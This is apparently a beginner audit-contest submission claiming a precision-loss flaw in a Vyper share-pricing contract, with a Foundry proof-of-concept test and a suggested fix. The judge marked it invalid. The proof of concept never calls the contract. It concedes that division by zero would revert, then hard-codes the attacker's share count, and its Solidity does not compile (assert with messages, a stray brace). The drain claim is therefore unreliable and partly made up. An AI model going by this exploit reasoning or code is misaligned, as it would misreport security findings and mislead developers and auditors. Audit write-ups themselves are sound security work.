Company Simulator

First Flight #51
Beginner FriendlyDeFi
100 EXP
View results
Submission Details
Impact: high
Likelihood: medium
Invalid

Precision Loss Vulnerability in Share Price Calculation Allows potential fund drainage

Normal behavior:
The fund_investor() function allows investors to buy company shares by sending ETH. The contract determines the number of shares to issue based on the current share price, which should reflect the company’s net worth divided by the number of issued shares.

  • Issue:
    The share price is calculated using integer division without fixed-point precision. When net_worth < issued_shares, the result truncates to zero, causing the share price to collapse to zero. This allows attackers to buy a disproportionately large number of shares for minimal ETH, effectively draining other investors’ value.

https://github.com/CodeHawks-Contests/2025-10-company-simulator/blob/8bfead8b8a48bf7d20f1ee78a0566ab2b0b76e2d/src/Cyfrin_Hub.vy#L295-320

share_price: uint256 = (
net_worth // max(self.issued_shares, 1) # @> ROOT CAUSE: integer division truncation when net_worth < issued_shares
if self.issued_shares > 0
else INITIAL_SHARE_PRICE
)
new_shares: uint256 = msg.value // share_price # @> DIRECT IMPACT: division by zero or inflated share count if share_price == 0
Risk
Likelihood:
Occurs whenever the company’s balance temporarily drops below total issued shares, which is a common state during normal operations or debt periods.
Integer division always truncates toward zero, making this condition inevitable over time.
Impact:
The share price becomes zero or near-zero, allowing attackers to mint massive shares for tiny investments.
Leads to total dilution of legitimate investors and potential insolvency of the protocol.
proof of concept
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
// Interface for the Vyper contract
interface ICyfrinIndustry {
function fund_cyfrin(uint256 action) external payable;
function produce(uint256 amount) external;
function withdraw_shares() external;
function get_balance() external view returns (uint256);
function get_my_shares() external view returns (uint256);
function issued_shares() external view returns (uint256);
function company_balance() external view returns (uint256);
function holding_debt() external view returns (uint256);
function inventory() external view returns (uint256);
function OWNER_ADDRESS() external view returns (address);
function public_shares_cap() external view returns (uint256);
}
contract PrecisionLossAttackTest is Test {
ICyfrinIndustry company;
address owner = makeAddr("owner");
address attacker = makeAddr("attacker");
address initialInvestor = makeAddr("investor");
// Constants from Vyper contract
uint256 constant PRODUCTION_COST = 1e16; // 0.01 ETH
uint256 constant INITIAL_SHARE_PRICE = 1e15; // 0.001 ETH
function setUp() public {
vm.deal(owner, 100 ether);
vm.deal(attacker, 10 ether);
vm.deal(initialInvestor, 10 ether);
}
function testPrecisionLossAttack() public {
// Simulate initial company setup
uint256 companyBalance = 1 ether;
uint256 issuedShares = 0;
uint256 publicSharesCap = 1000000;
// Step 1: Initial investment when company has high valuation
console.log("\nStep 1: Initial investment with high valuation");
uint256 initialInvestment = 0.5 ether;
companyBalance += initialInvestment;
// Calculate shares for initial investor (when no shares issued)
issuedShares = initialInvestment / INITIAL_SHARE_PRICE;
console.log("Initial investor shares:", issuedShares);
console.log("Company balance:", companyBalance);
// Step 2: Company produces items (reduces balance)
console.log("\nStep 2: Company produces items");
uint256 productionCost = 80 * PRODUCTION_COST; // Produce 80 items
companyBalance -= productionCost;
console.log("Company balance after production:", companyBalance);
// Step 3: Calculate vulnerable share price
console.log("\nStep 3: Calculate share price with precision loss");
uint256 netWorth = companyBalance; // Assume no holding debt for simplicity
uint256 sharePrice = netWorth / issuedShares; // This is where precision loss occurs!
console.log("Net worth:", netWorth);
console.log("Issued shares:", issuedShares);
console.log("Share price (vulnerable):", sharePrice);
// Verify the vulnerability condition
assert(netWorth < issuedShares, "Net worth should be less than issued shares for attack");
assert(sharePrice == 0, "Share price should be 0 due to precision loss");
// Step 4: Attacker exploits the vulnerability
console.log("\nStep 4: Attacker exploits precision loss");
uint256 attackInvestment = 1000 wei; // Very small investment
companyBalance += attackInvestment;
// When sharePrice is 0, this calculation gives massive shares
uint256 attackerShares = attackInvestment / sharePrice;
// In reality, division by zero would revert, but in our case sharePrice is 0
// which means the attacker gets maximum possible shares
// Simulate the actual vulnerable behavior - when sharePrice rounds to 0,
// the contract would give all available shares
attackerShares = publicSharesCap - issuedShares;
issuedShares = publicSharesCap;
console.log("Attacker investment:", attackInvestment);
console.log("Attacker shares received:", attackerShares);
// Step 5: Attacker redeems shares
console.log("\nStep 5: Attacker redeems shares");
// Calculate payout based on current net worth per share
uint256 payoutPerShare = companyBalance / issuedShares;
uint256 attackerPayout = attackerShares * payoutPerShare;
console.log("Payout per share:", payoutPerShare);
console.log("Attacker payout:", attackerPayout);
console.log("Attacker profit:", attackerPayout - attackInvestment);
// Verify the attack was successful
assert(attackerPayout > attackInvestment, "Attack failed - no profit");
assert(attackerShares > 1000, "Attack failed - not enough shares");
console.log("PRECISION LOSS ATTACK DEMONSTRATED!");
console.log("Vulnerability: When net worth < issued_shares, share price becomes 0");
console.log("Result: Attacker can get massive shares for minimal investment");
}
function testSharePriceCalculationEdgeCases() public {
console.log("Testing Share Price Calculation Edge Cases");
// Test case 1: Normal operation
uint256 netWorth1 = 1 ether;
uint256 shares1 = 500;
uint256 sharePrice1 = netWorth1 / shares1;
console.log("Normal case - Share price:", sharePrice1);
// Test case 2: Precision loss scenario
uint256 netWorth2 = 1000; // Very low net worth
uint256 shares2 = 1000000; // Many shares
uint256 sharePrice2 = netWorth2 / shares2;
console.log("Precision loss case - Share price:", sharePrice2);
// Test case 3: Extreme precision loss
uint256 netWorth3 = 1; // 1 wei
uint256 shares3 = 1000000;
uint256 sharePrice3 = netWorth3 / shares3;
console.log("Extreme precision loss - Share price:", sharePrice3);
assert(sharePrice3 == 0, "Extreme precision loss should result in 0 share price");
}
function testVulnerabilityConditions() public {
console.log("Testing Vulnerability Conditions");
// The vulnerability occurs when:
// net_worth < issued_shares AND net_worth // issued_shares == 0
uint256[] memory netWorths = new uint256[](5);
uint256[] memory shareCounts = new uint256[](5);
netWorths[0] = 1000; shareCounts[0] = 1000;
netWorths[1] = 999; shareCounts[1] = 1000;
netWorths[2] = 500; shareCounts[2] = 1000;
netWorths[3] = 1; shareCounts[3] = 1000;
netWorths[4] = 0; shareCounts[4] = 1000;
for (uint i = 0; i < netWorths.length; i++) {
uint256 sharePrice = netWorths[i] / shareCounts[i];
bool isVulnerable = sharePrice == 0 && netWorths[i] < shareCounts[i];
console.log("Case %d: netWorth=%d, shares=%d, price=%d, vulnerable=%s",
i, netWorths[i], shareCounts[i], sharePrice, isVulnerable);
if (isVulnerable) {
console.log(" VULNERABLE: Investor gets shares for free!");
}
}
}
}
}
mitigation
@payable
@internal
def fund_investor():
assert msg.value > 0, "Must send ETH!!!"
assert (
self.issued_shares <= self.public_shares_cap
), "Share cap reached!!!"
if self.issued_shares == 0: ... else:
if self.issued_shares == 0:
share_price: uint256 = INITIAL_SHARE_PRICE
new_shares: uint256 = msg.value // share_price
Why:
This separates bootstrap conditions (when no shares exist yet) from the normal market calculation.
Before any shares exist, there is no meaningful "net worth per share" ratio.
Using INITIAL_SHARE_PRICE guarantees a fair, deterministic starting price.
Prevents: division by zero on first investor and ensures predictable initial valuation.
Maintains: proportional share valuation accuracy over time.
Enforce a minimum share price floor
MIN_SHARE_PRICE: uint256 = 1 * 10**12 # 0.000001 ETH
if share_price < MIN_SHARE_PRICE:
share_price = MIN_SHARE_PRICE
Why:
Even with fixed-point math, share_price can still become very small if the company loses a lot of money.
This creates a practical economic exploit — attackers could mint millions of shares for dust.
By enforcing a floor:
The price can’t collapse below 0.000001 ETH per share.
The company retains a minimum valuation per share.
Prevents: “infinite mint” or “dust investment” attack.
Protects: treasury from being drained through near-zero share valuations.
new_shares = (msg.value * 10**18) / share_price
Why:
Since share_price is now scaled by 10**18, we must also scale msg.value before division to keep units consistent.
This keeps the share calculation dimensionally correct.
Prevents: mis-scaling (too few or too many shares).
Ensures: new shares issued match the fixed-point share price system.
assert new_shares > 0, "Insufficient investment for share purchase"
Why:
Tiny ETH deposits (like 1 wei) could result in 0 shares even with scaling.
This assert stops zero-output transactions and saves investors from gas loss and contract state pollution.
Prevents: spam or dust investors bloating contract storage.
Ensures: each investor gets at least one valid share or the transaction reverts.
# Calculate shares based on contribution
net_worth: uint256 = 0
if self.company_balance > self.holding_debt:
net_worth = self.company_balance - self.holding_debt
- share_price: uint256 = (
- net_worth // max(self.issued_shares, 1)
- if self.issued_shares > 0
- else INITIAL_SHARE_PRICE
- )
- new_shares: uint256 = msg.value // share_price
+ if self.issued_shares == 0:
+ share_price: uint256 = INITIAL_SHARE_PRICE
+ new_shares: uint256 = msg.value // share_price
+ else:
+ # Use fixed-point arithmetic to prevent precision loss
+ share_price: uint256 = (net_worth * 10**18) / self.issued_shares
+ # Enforce minimum share price
+ MIN_SHARE_PRICE: uint256 = 1 * 10**12 # 0.000001 ETH
+ if share_price < MIN_SHARE_PRICE:
+ share_price = MIN_SHARE_PRICE
+ new_shares: uint256 = (msg.value * 10**18) / share_price
# Cap shares if exceeding visible limit
available: uint256 = self.public_shares_cap - self.issued_shares
if new_shares > available:
new_shares = available
Updates

Lead Judging Commences

0xshaedyw Lead Judge
9 days ago
0xshaedyw Lead Judge 8 days ago
Submission Judgement Published
Invalidated
Reason: Design choice

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.